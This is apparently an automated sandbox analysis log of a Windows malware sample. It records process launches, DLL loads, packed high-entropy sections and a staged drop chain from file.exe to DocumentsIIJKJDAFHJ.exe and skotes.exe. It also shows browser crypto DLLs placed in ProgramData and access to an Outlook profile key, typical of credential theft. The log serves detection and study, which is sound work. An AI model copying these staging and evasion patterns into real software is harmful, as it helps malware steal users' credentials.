Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7020 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIIJKJDAFHJ.exe "C:\Users\user\DocumentsIIJKJDAFHJ.exe"
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1733120 > 1048576

Source: file.exe

Static PE information: Raw size of fsczkwli is bigger than: 0x100000 < 0x18d200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fsczkwli:EW;pphwoszg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fsczkwli:EW;pphwoszg:EW;.taggant:EW;
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Unpacked PE file: 26.2.DocumentsIIJKJDAFHJ.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 34.2.skotes.exe.1d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ckxzyosv:EW;hvcuhzos:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C953480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C953480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: nbea1t8.exe.34.dr	Static PE information: real checksum: 0x164a37 should be: 0x2e7a9
Source: file.exe	Static PE information: real checksum: 0x1b4c93 should be: 0x1ae3f8
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: real checksum: 0x1d2b1e should be: 0x1d4d02
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d2b1e should be: 0x1d4d02
Source: skotes.exe.26.dr	Static PE information: real checksum: 0x1d2b1e should be: 0x1d4d02
Source: nbea1t8[1].exe.34.dr	Static PE information: real checksum: 0x164a37 should be: 0x2e7a9

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fsczkwli
Source: file.exe	Static PE information: section name: pphwoszg
Source: file.exe	Static PE information: section name: .taggant
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name:
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name:
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: ckxzyosv
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: hvcuhzos
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ckxzyosv
Source: random[1].exe.0.dr	Static PE information: section name: hvcuhzos
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: .idata
Source: skotes.exe.26.dr	Static PE information: section name:
Source: skotes.exe.26.dr	Static PE information: section name: ckxzyosv
Source: skotes.exe.26.dr	Static PE information: section name: hvcuhzos
Source: skotes.exe.26.dr	Static PE information: section name: .taggant
Source: nbea1t8[1].exe.34.dr	Static PE information: section name: .eh_fram
Source: nbea1t8.exe.34.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B536 push ecx; ret	0_2_6C98B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0029763E push edx; mov dword ptr [esp], eax	28_1_0029772D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0029763E push edx; mov dword ptr [esp], eax	28_1_002977B4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0023CCAA push ecx; mov dword ptr [esp], 1DFFCA98h	28_1_0023CCAC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0023DCB6 push 331AAB24h; mov dword ptr [esp], edx	28_1_0023DDC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0023DCB6 push 50247E75h; mov dword ptr [esp], edi	28_1_0023DDCF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00242482 push ds; iretd	28_1_00242483
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push 761EB4CBh; mov dword ptr [esp], ebx	28_1_00250EAE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push 31ADBE9Fh; mov dword ptr [esp], edx	28_1_00250F37
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push 3DB528C5h; mov dword ptr [esp], ebx	28_1_00250F44
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push 4E071512h; mov dword ptr [esp], esi	28_1_00250F60
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push ebx; mov dword ptr [esp], 7FBF9F58h	28_1_00250F65
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push edi; mov dword ptr [esp], ecx	28_1_00251015
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push ebx; mov dword ptr [esp], edi	28_1_00251021
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_00250E8A push 6F350C25h; mov dword ptr [esp], ecx	28_1_0025105B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0024149F push ds; iretd	28_1_002414A0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0029BBE0 push 7D965139h; mov dword ptr [esp], edi	28_1_0029BBF8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0029BBE0 push edx; mov dword ptr [esp], 7FFEB611h	28_1_0029BC7A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_0029BBE0 push esi; mov dword ptr [esp], 7F96B626h	28_1_0029BCA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_002423D4 push 0970905Ch; mov dword ptr [esp], edx	28_1_00243CE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 34_2_001ED91C push ecx; ret	34_2_001ED92F

Source: file.exe	Static PE information: section name: fsczkwli entropy: 7.954128278893427
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: entropy: 7.983156025947401
Source: DocumentsIIJKJDAFHJ.exe.0.dr	Static PE information: section name: ckxzyosv entropy: 7.953754941746704
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.983156025947401
Source: random[1].exe.0.dr	Static PE information: section name: ckxzyosv entropy: 7.953754941746704
Source: skotes.exe.26.dr	Static PE information: section name: entropy: 7.983156025947401
Source: skotes.exe.26.dr	Static PE information: section name: ckxzyosv entropy: 7.953754941746704

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIIJKJDAFHJ.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nbea1t8[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIIJKJDAFHJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009905001\nbea1t8.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
